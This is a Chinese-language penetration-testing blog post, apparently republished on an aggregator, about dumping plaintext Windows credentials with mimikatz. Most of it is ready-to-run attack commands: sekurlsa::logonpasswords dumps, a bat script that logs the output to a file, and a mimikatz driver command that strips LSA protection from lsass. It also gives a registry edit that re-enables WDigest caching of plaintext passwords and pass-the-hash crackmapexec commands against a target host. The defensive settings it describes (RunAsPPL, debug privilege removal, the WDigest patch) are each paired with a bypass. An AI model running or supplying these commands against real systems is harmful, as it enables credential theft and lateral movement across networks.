3

mimikatz抓取

 2 years ago
source link: https://ssooking.github.io/2020/07/mimikatz%E6%8A%93%E5%8F%96%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

mimikatz基本使用

下载:Mimikatz

注意:mimikatz需要以管理员权限运行

1、交互模式抓取明文密码

privilege::debug
sekurlsa::logonpasswords

2、更方便的mimikatz命令

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full"

3、输出日志

执行以下命令除了回显,还可以dump结果并将hash保存为log日志文件:

mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit

3、bat脚本

@echo off
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit > C:\programdata\log.txt

Windows中存在一些安全策略或机制来防止像mimikatz 或WCE等工具直接抓取明文密码。

移除DEBUG权限

调试权限是一种安全策略设置,允许用户将调试器附加到进程或内核。绝大数抓取密码工具都需要获取调试权限,该权限可以在用户权限分配组策略在看到。默认情况下,管理员帐户具有此权限。如果移除了debug权限,则此类工具则会工作异常。

在没有debug权限的情况下:

LSA保护

LSA包含本地安全性授权子系统服务 (LSASS) 进程,可验证用户的本地和远程登录。 微软从Windows 8.1 和Windows Server 2012开始为LSA提供附加保护,LSASS可以配置为在保护模式下运行,受保护的进程必须满足一些条件才能访问lsass.exe进程,主要通过签名验证,从而避免了相关工具抓取密码。

开启保护的方法是配置方法为修改注册表项RunAsPPL,将键值设置为"dword:00000001

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL

在开启LSA保护的情况下,此时无法从LSASS进程中转储凭据,报错示例:

mimikatz # sekurlsa::msv
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonPasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list

绕过方法是删除lsass进程上的保护:

mimikatz# !+
mimikatz# !processprotect /process:lsass.exe /remove
mimikatz# sekurlsa::logonpasswords

禁止Wdigest Auth缓存明文密码

Microsoft发布了一个补丁KB2871997,安装此补丁后,允许用户在注册表中配置一个设置(高版本已默认配置)禁用 WDigest 身份验证,从而防止将明文密码存储在内存中。此时mimikatz用抓取时密码字段会显示为null,如下:

SID : S-1-5-21-1611409294-1731084229-990987755-1000
        wdigest :
         * Username : ssooking
         * Domain   : SSOOKING34EC
         * Password : (null)
        kerberos :
         * Username : ssooking
         * Domain   : SSOOKING34EC
         * Password : (null)
        ssp :
        credman :

绕过方法是开启WDigest身份验证,使用户重新登录,从而是内存中重新存储明文密码。修改注册表键值(也可以使用其他相关工具):

# reg
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

#mimikatz
sekurlsa::wdigest

# cme 
cme smb 17.10.0.10 -u administrator -H <hash> --wdigest enable

在开启 Wdigest Auth 后,需要重启或者强制锁屏,让管理员重新登录。锁屏命令:

rundll32 user32.dll,LockWorkStation

#如果等待,也可以强制登录让其下线迫使其输入密码
cme smb 17.10.0.10  -u administrator -p -H <hash> -x quser
cme smb 17.10.0.10  -u administrator -p -H <hash> -m mimikatz.py -x quser

其他会缓存密码的情况:

  • 当域控制器 (DC) 不可访问时,Kerberos 将保留密码以供将来登录尝试。
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest,UseLogonCredential (DWORD)设置为1 时,WDigest 将保留凭据。
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Credssp\PolicyDefaults设置为allow 时,凭据安全支持提供程序 (CredSSP) 将保留凭据
  • HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation设置为allow 时,CredSSP/tspkgs 将保留凭据。

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK